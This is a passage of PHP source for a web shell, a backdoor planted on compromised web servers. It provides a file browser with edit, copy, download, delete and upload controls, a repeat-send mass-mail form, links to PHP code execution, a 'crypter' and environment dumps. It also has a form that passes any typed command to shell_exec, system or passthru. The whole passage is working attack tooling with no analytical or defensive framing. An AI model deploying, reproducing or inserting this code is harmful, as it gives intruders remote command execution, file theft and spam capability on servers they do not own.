<thead>
|
|
<tr><td>";
|
|
copy_file($_POST['from'],$_POST['to']);
|
|
exit;
|
|
}
|
|
|
|
|
|
|
|
if (isset($_GET['copy_file'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>?&<?php echo $word ?>©_start method="post">
|
|
New:<br><textarea rows=4 cols=70 name="to"><?php echo realpath($filename) ?></textarea><br><br>
|
|
Old:<br><textarea rows=4 cols=70 name="from"><?php echo realpath($filename) ?></textarea><br><br>
|
|
<input type="submit" name="sub" value="Copy">
|
|
<?php
|
|
exit;
|
|
}
|
|
|
|
if (isset($_GET['send_mail_st'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead>
|
|
|
|
<tr><td>";
|
|
if (isset($_POST['from']))
|
|
{
|
|
if (isset($_POST['to']))
|
|
{
|
|
if (isset($_POST['text']))
|
|
{
|
|
if (isset($_POST['subject']))
|
|
{
|
|
if (isset($_POST['times']))
|
|
{
|
|
send_mail($_POST['from'],$_POST['to'],$_POST['text'],$_POST['subject'],$_POST['times']) ;
|
|
exit;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
if (isset($_GET['send_mail'])) {
|
|
echo "<center><table border=\"1\" width=600 rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>?&<?php echo $word ?>&send_mail_st method="post">
|
|
From:    <input type="text" name="from"><br><br>
|
|
To:       <input type="text" name="to"><br><br>
|
|
Subject:  <input type="text" name="subject"><br><br>
|
|
Times:   <input type="text" name="times"><br><br>
|
|
|
|
Text:<br><textarea rows=15 cols=60 name="text"></textarea><br><br>
|
|
<input type="submit" name="sub" value="Send!">
|
|
<?php
|
|
exit;
|
|
}
|
|
if (isset($_GET['file_browser'])) {
|
|
|
|
for ($i=0;$i<4;$i++) {
|
|
if (preg_match("/".$file_tps["img"][$i]."/i",$extn)) {
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr><td>";
|
|
echo "<a href=".$surl."?&".$word."&file_browser&file=".urlencode($filename)."&img><img src='".urldecode($surl)."?&".$word."&file=".urldecode($filename)."&img' height= width= border=0><br>";
|
|
exit;
|
|
} }
|
|
|
|
|
|
|
|
if (@filetype($j_f)=="file") {
|
|
echo "<center><table border=\"1\" rules=\"groups\"
|
|
<thead>
|
|
<tr><td>";
|
|
highlight_file($j_f);
|
|
|
|
exit;
|
|
}
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr>
|
|
|
|
<th></th><td>";
|
|
count_all($j_d);
|
|
echo "</tr>";
|
|
echo "<center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr>
|
|
<th>Filename</th><th>Edit</th><th>Copy</th><th>Download</th><th>Delete<th>Perms</th><th>Access</th> ";
|
|
|
|
|
|
|
|
|
|
$o_d=opendir($j_d);
|
|
|
|
|
|
|
|
while (false !== ($file = readdir($o_d))) {
|
|
echo " <tbody>
|
|
|
|
<tr>
|
|
<td>";
|
|
if (@filetype($j_d."/".$file)=="dir") {
|
|
echo "</a><img src=".$surl."?&".$word."&dir&pic=dir height=12 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[".$file."]";
|
|
} else {
|
|
echo "<img src=".$surl."?&".$word."&dir&pic=ext_wri height=9 width=><a href=".$surl."&".$word."&&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
|
|
echo $file;
|
|
}
|
|
echo "<br></a></td><td><a href=".$surl."&".$word."&edit&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
|
|
if (@filetype($j_d."/".$file)=="file") {
|
|
echo "<center>[Edit]";
|
|
}
|
|
else {
|
|
echo "</a><center>[-]";
|
|
}
|
|
echo "</a></td><td><a href=".$surl."&".$word."©_file&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
|
|
if (@filetype($j_d."/".$file)=="file") {
|
|
echo "<center>[Copy]";
|
|
} else {
|
|
echo "</a><center>[-]";
|
|
}
|
|
echo "</a></td><td><a href=".$surl."&".$word."&download&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
|
|
if (@filetype($j_d."/".$file)=="file") {
|
|
echo "<center>[Download]";
|
|
} else {
|
|
echo "</a><center>[-]";
|
|
}
|
|
echo "</a></td><td><a href=".$surl."&".$word."&delete&file_browser&file=".urlencode($j_d)."/".urlencode($file).">";
|
|
if (@filetype($j_d."/".$file)=="file") {
|
|
echo "<center>[Delete]";
|
|
} else {
|
|
echo "</a><center><a href=".$surl."&".$word."&rmdir&file_browser&file=".urlencode($j_d)."/".urlencode($file).">[Delete]</a>";
|
|
}
|
|
echo "<td><center>";
|
|
echo @fileowner($j_f."/".$file);
|
|
echo "</td>";
|
|
echo "<td><center>";
|
|
get_perms(fileperms($j_f."/".$file));
|
|
echo "</td>";
|
|
echo "</a></td>";
|
|
}
|
|
echo "<center><table width=360 height=40 border=\"1\" rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr>
|
|
<th></th><td>";
|
|
?>
|
|
<form enctype="multipart/form-data" action=<?php echo $surl ?>&<?php echo $word ?>&upload method="post">
|
|
file:         <input name="userfile" type="file">
|
|
<input type="hidden" name="file" value=<?php echo urlencode($_GET['file']) ?>>
|
|
<input type="submit" value="Upload"><br><br><?php
|
|
if (@is_writable($j_d)) {
|
|
echo "<font color=green>[Ok]</font>";
|
|
} else {
|
|
echo "<font color=red>[No]</font>";
|
|
}
|
|
?>
|
|
</form>
|
|
|
|
<?php
|
|
echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr>
|
|
<th></th><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>&<?php echo $word ?>&search method="post">
|
|
search:     <input name="search" type="text">
|
|
<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
|
|
                 <input type="submit" value="Search">
|
|
</form>
|
|
<?php
|
|
|
|
echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
|
|
<tr>
|
|
<th></th><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>?&<?php echo $word ?>&mkdir method="post">
|
|
name:      <input name="name" type="text">
|
|
<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
|
|
                  <input type="submit" value="mkdir">
|
|
</form>
|
|
<?php
|
|
if (@is_writable($j_d)) {
|
|
echo "<font color=green>[Ok]</font>";
|
|
} else {
|
|
echo "<font color=red>[No]</font>";
|
|
}
|
|
echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr>
|
|
<th></th><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>&<?php echo $word ?>&mkfile method="post">
|
|
name:      <input name="name" type="text">
|
|
<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
|
|
                  <input type="submit" value="mkfile">
|
|
</form>
|
|
<?php
|
|
if (@is_writable($j_d)) {
|
|
echo "<font color=green>[Ok]</font>";
|
|
} else {
|
|
echo "<font color=red>[No]</font>";
|
|
}
|
|
echo "</td><center><table width=360 height=40 border=\"1\" rules=\"groups\">
|
|
|
|
<thead>
|
|
<tr>
|
|
<th></th><td>";
|
|
?>
|
|
<form action=<?php echo $surl ?>&<?php echo $word ?>&exec method="post">
|
|
command: <input name="command" type="text">
|
|
<input type="hidden" name="dir" value=<?php echo urlencode($_GET['file']) ?>>
|
|
                 <input type="submit" value="execute">
|
|
</form>
|
|
<?php
|
|
echo "</td><center><table border=\"1\" rules=\"groups\">
|
|
<thead>
|
|
<tr>
|
|
|
|
<th></th><td><a href=".$surl."?&".$word."&special_dir&file=".urlencode($filename).">Special DirOptions</a></td> ";
|
|
echo "</a>";
|
|
exit;
|
|
}
|
|
?>
|
|
|
|
|
|
|
|
<html>
|
|
<ul id="Navigation">
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&file_browser&file=<?php echo "." ?>>File_Browser</a></li>
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&send_mail>Send Mail(s)</a></li>
|
|
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_code>php_code</a></li>
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&crypt>crypter</a></li>
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&php_info>php_info()</a></li>
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&defined_vars>defined_vars()</a></li>
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&env>env()</a></li>
|
|
|
|
<li><a href=<?php echo $surl ?>&<?php echo $word ?>&update>update()</a></li>
|
|
</ul>
|
|
<center><table border="1" rules="groups">
|
|
<thead>
|
|
<tr>
|
|
<th></th>
|
|
<td>
|
|
<form action=<?php echo $surl ?>?&<?php echo $word ?>&exec_st method="post">
|
|
|
|
<input type="submit" name="sub" value="Execute"><br>
|
|
<br>
|
|
<input type="text" name="command">
|
|
<br>
|
|
<input type="radio" name="method" value="1">shell_exec();
|
|
<input type="radio" name="method" value="2">system();
|
|
<input type="radio" name="method" value="3">passthru();
|
|
<input type="radio" name="method" value="4">automatic();<br>
|
|
<textarea name="exec" rows=15 cols=90>
|
|
<?php
|
|
if (isset($_GET['exec_st'])) {
|
|
$meth=$_POST['method'];
|
|
$com=$_POST['command'];
|
|
if (isset($meth)) {
|
|
if ($meth=="1") {
|
|
echo shell_exec($com);
|
|
}
|
|
elseif($meth=="2") {
|
|
echo system($com);
|
|
}
|
|
elseif ($meth=="3") {
|
|
passthru($com);
|
|
}
|
|
elseif ($meth=="4") {
|
|
if (function_exists(shell_exec)) {
|
|
echo shell_exec($com);
|
|
}
|
|
elseif (function_exists(system)) {
|
|
echo system($com);
|
|
}
|
|
elseif (function_exists(passthru)) {
|
|
echo passthru($com);
|
|
}
|
|
else {
|
|
echo "[-]Error";
|
|
}
|
|
}
|
|
}
|
|
}
|
|
echo "</textarea>";
|
|
exit;
|
|
?> |